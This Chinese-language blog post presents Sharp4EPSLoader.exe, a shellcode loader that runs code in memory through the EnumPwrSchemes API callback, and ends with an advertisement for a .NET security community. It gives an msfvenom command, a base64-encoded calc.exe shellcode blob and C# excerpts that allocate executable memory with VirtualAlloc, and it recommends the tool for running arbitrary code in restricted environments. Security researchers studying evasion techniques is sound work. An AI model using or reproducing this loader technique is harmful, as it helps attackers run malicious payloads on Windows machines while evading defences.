01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面
02基本介绍
Sharp4EPSLoader.exe 是一个轻量级的 Shellcode 加载器,专门用于在 Windows 环境中通过 EnumPwrSchemes API 调用执行内存中的 Shellcode。这篇文章将介绍其工作原理,并提供一个示例,展示如何生成和使用 Shellcode。
03使用方法
为了演示该工具的用法,我们将生成一个简单的 Shellcode,利用 Windows 中的计算器(calc.exe)作为目标程序。
3.1 生成Shellcode
我们可以使用 Metasploit 的 msfvenom 工具生成一个用于启动 calc.exe 的 Shellcode,并将其编码为 Base64 字符串。命令如下:
msfvenom -p windows/exec CMD=calc.exe -f raw | base64
这个命令将生成一个原始格式的 Shellcode,并将其通过管道传递给 base64 命令,将 Shellcode 编码为 Base64 格式。生成的字符串可以直接作为 Sharp4EPSLoader.exe 的输入。
3.2 加载并执行Shellcode
我们可以使用 Metasp生成 Shellcode 后,可以通过以下 PowerShell 命令在 Windows 环境中执行:
.\Sharp4EPSLoader.exe /OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1qAY2FsgAAAFBoMYtvh//Vu/C1olZoppW9nf/VPAZ8CoD74HUFu0cTcm9qAFP/1WNhbGMuZXhlAA==
04原理解析
Shellcode 是一段可以直接执行的二进制代码,通常用于在目标系统上执行特定任务。它可以通过多种方式生成和加载,其中常见的一种方式是通过 Base64 编码的形式进行传递,并在目标系统中解码后直接执行。
Sharp4EPSLoader.exe 主要功能是首先,通过 Convert.FromBase64String 将输入的 Base64 字符串转换为字节数组,即原始的 Shellcode,再使用 VirtualAlloc 函数在内存中分配一个可读、可写、可执行的内存块,用于存储 Shellcode。分配的内存地址保存在 addr 变量中。
static void Main(string[] args)
{
byte[] shellcode = Convert.FromBase64String(base64Content);
IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40);
}
然后通过调用 Windows API EnumPwrSchemes 来执行 Shellcode。这个工具非常适合用于在受限环境中执行任意代码。
static void Main(string[] args)
{
EnumPwrSchemes(addr, IntPtr.Zero);
}
[DllImport("powrprof.dll")]
static extern bool EnumPwrSchemes(IntPtr lpfn, IntPtr lParam);
综上,Sharp4EPSLoader 适合用于在 Windows 环境中加载并执行 Shellcode。通过 EnumPwrSchemes API 的调用,实现了对 Shellcode 的执行,值得安全研究人员深入了解和研究。
05.NET安全星球
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。